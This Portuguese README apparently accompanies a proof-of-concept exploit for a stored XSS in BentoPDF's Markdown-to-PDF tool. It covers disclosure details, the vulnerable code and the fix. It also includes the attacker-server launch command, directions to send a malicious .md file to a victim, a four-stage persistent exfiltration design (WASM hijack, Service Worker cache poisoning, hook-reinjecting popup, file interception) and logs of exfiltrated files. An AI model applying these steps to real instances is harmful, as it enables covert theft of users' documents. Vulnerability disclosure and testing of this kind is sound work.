
Prova de conceito de exploit para CVE-2026-41653, um XSS armazenado no BentoPDF que permite exfiltração silenciosa de arquivos e sequestro da cadeia de suprimentos WASM.
Descoberto e reportado por: Astaruf
Artigo completo: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Aviso upstream: Aviso GHSA do alam00000/bentopdf
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF é uma caixa de ferramentas PDF auto-hospedada e executada no navegador (comprimir, mesclar, dividir, girar, converter, Markdown-para-PDF, etc.).
A ferramenta Markdown-para-PDF passa o Markdown fornecido pelo usuário através do markdown-it com html: true e injeta a saída renderizada diretamente no DOM via innerHTML sem nenhuma sanitização. Um atacante que entregue um arquivo .md malicioso consegue executar JavaScript arbitrário na origem do BentoPDF.
Como o BentoPDF é uma aplicação totalmente client-side, todas as ferramentas (Comprimir PDF, Mesclar PDF, Dividir PDF, etc.) carregam e processam arquivos diretamente no navegador da vítima. Um único XSS é, portanto, suficiente para exfiltrar silenciosamente todos os documentos que a vítima abrir em qualquer ferramenta durante a sessão.
Atacante envia report.md (contendo )
-> Vítima abre no Markdown-para-PDF
-> markdown-it renderiza HTML bruto (html: true)
-> preview.innerHTML = html (sem DOMPurify)
-> poc_payload.js carregado do servidor do atacante (sem CSP)
-> FileReader + <input type=file> interceptados em toda a aplicação
-> popup oculto re-injeta hooks a cada navegação entre ferramentas
-> todo arquivo que a vítima abre é exfiltrado silenciosamente
localStorage['bentopdf:wasm-providers'], redirecionando os downloads dos módulos WASM do PyMuPDF, Ghostscript e cpdf para um host controlado pelo atacante.window.opener e re-injeta os hooks de arquivos toda vez que a vítima navega para uma ferramenta diferente, mantendo o acesso durante toda a sessão.bentopdf-*, anexando um hook de exfiltração a todo arquivo /assets/*.js servido ao navegador além da sessão atual.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (linhas 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // tags HTML brutas passam pelo parser de markdown
breaks: false,
linkify: true,
typographer: true,
};
Tags como ``, <svg>, <details> e quaisquer atributos de manipuladores de eventos (onerror, onload, ontoggle) são encaminhadas ao DOM como estão.
innerHTML sem sanitização (CWE-116)src/js/utils/markdown-editor.ts (linhas 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML controlado pelo atacante injetado no DOM
this.renderMermaidDiagrams();
}
Nenhuma biblioteca de sanitização é aplicada entre o markdown-it e o innerHTML. O navegador analisa a string injetada, encontra o manipulador de eventos inline e o executa imediatamente.
O nginx.conf é distribuído sem o cabeçalho Content-Security-Policy. O JavaScript injetado pode carregar livremente scripts externos, fazer requisições fetch() para qualquer host e abrir janelas popup. Uma CSP restritiva teria impedido o estágio de carregamento de scripts externos mesmo com o sink intacto.
# Inicie o servidor do atacante para exfiltração
python3 poc.py --lhost <SEU_IP> --lport 9999
# O poc.py irá:
# - gerar o payload poc_report.md no diretório atual
# - começar a escutar callbacks da vítima e arquivos exfiltrados
Envie poc_report.md para a vítima e peça para ela abri-lo em BentoPDF → Markdown-para-PDF. O payload é acionado no momento em que a pré-visualização é renderizada, e todos os arquivos que a vítima enviar no futuro são exfiltrados para o servidor do atacante.
| Opção | Padrão | Descrição |
|---|---|---|
--lhost | obrigatório | IP acessível pelo navegador da vítima |
--lport | 9999 | Porta de escuta |
--loot-dir | ./loot/ | Diretório onde os arquivos exfiltrados são salvos |
--log-file | nenhum | Anexa todos os eventos a um arquivo (códigos ANSI removidos) |
--no-color | desativado | Desativa cores ANSI na saída do terminal |
1. Servidor do atacante iniciado com --lhost e --lport. O poc_report.md malicioso é gerado automaticamente.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-para-PDF XSS Armazenado -> Exfiltração de Arquivos
PoC por Astaruf (https://nstsec.com)
========================================================================
Servidor de exfiltração: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Diretório de loot: /home/kali/loot
========================================================================
Arquivo .md malicioso pronto: /home/kali/poc_report.md
Envie-o para a vítima e peça para abri-lo na ferramenta Markdown-para-PDF.
O payload é acionado assim que a pré-visualização é renderizada.
========================================================================
Aguardando vítimas...
2. A vítima abre a ferramenta Markdown-para-PDF no BentoPDF.

3. A vítima carrega poc_report.md. A pré-visualização é renderizada, `` falha ao carregar, onerror é acionado. poc_payload.js é buscado do servidor do atacante sem CSP para bloqueá-lo.

4. O payload executa seus quatro estágios: sequestro do provedor WASM via localStorage, monitor de popup iniciado, hooks de FileReader e input de arquivo instalados na página atual.

5. A vítima navega para Comprimir PDF. O popup detecta a navegação e re-injeta os hooks na nova página.

6. A vítima carrega um PDF. A ferramenta o comprime normalmente. Os bytes do arquivo já foram enviados via POST para o servidor do atacante.

7. Saída do servidor do atacante de uma execução verificada:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. O arquivo exfiltrado abre como um PDF completo e válido, idêntico ao original.

O payload embutido no poc.py executa quatro estágios em sequência:
| Estágio | O que faz | Escopo de persistência |
|---|---|---|
| 1 | Sobrescreve localStorage['bentopdf:wasm-providers'] para redirecionar todos os downloads de módulos WASM para o atacante | Entre sessões do navegador |
| 2 | Registra /sw.js, enumera /assets/*.js em todas as páginas de ferramentas, envenena o cache do Service Worker bentopdf-* com um hook de exfiltração | Além da sessão do navegador (somente HTTPS) |
| 3 | Inicia um popup oculto de 1×1 que consulta window.opener.location.href e re-injeta hooks de arquivos após cada navegação entre ferramentas | Enquanto a aba do BentoPDF estiver aberta |
| 4 | Intercepta FileReader.prototype.readAsArrayBuffer e o listener de change no nível do documento: todo arquivo que a vítima tocar é enviado via POST para o servidor do atacante em /file?name=<filename> | Página atual |
Incluída no BentoPDF v2.8.3. O desenvolvedor auditou a base de código além do sink originalmente reportado e abordou múltiplos vetores relacionados:
innerHTML em markdown-editor.ts, incluindo o caminho SVG do Mermaid que usava securityLevel: 'loose' e foi descoberto contornando o primeiro sanitizador.securityLevel: 'strict' e a saída SVG é re-sanitizada com o perfil SVG do DOMPurify.file.name escapado em cerca de 8 páginas de ferramentas (Deskew, Preenchimento de Formulários, Remover Anotações, etc.) onde nomes de arquivos eram anteriormente concatenados em HTML sem sanitização.localStorage['bentopdf:wasm-providers'] são descartadas no carregamento.nginx.conf, incluindo Content-Security-Policy.Correção mínima para o sink originalmente reportado:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
Cabeçalho CSP adicionado no nginx.conf:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| Data | Evento |
|---|---|
| 2026-04-02 | Vulnerabilidade descoberta |
| 2026-04-02 | Reportada em particular ao mantenedor |
| 2026-04-17 | Mantenedor reconheceu |
| 2026-04-17 | Correção aplicada na build edge e re-testada |
| 2026-04-18 | v2.8.3 lançada com crédito público |
| 2026-04-21 | Aviso GHSA publicado |
| 2026-04-22 | CVE-2026-41653 atribuída |
Este material é fornecido apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra instâncias do BentoPDF que você possua ou para as quais tenha permissão escrita explícita para testar. Acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade por uso indevido.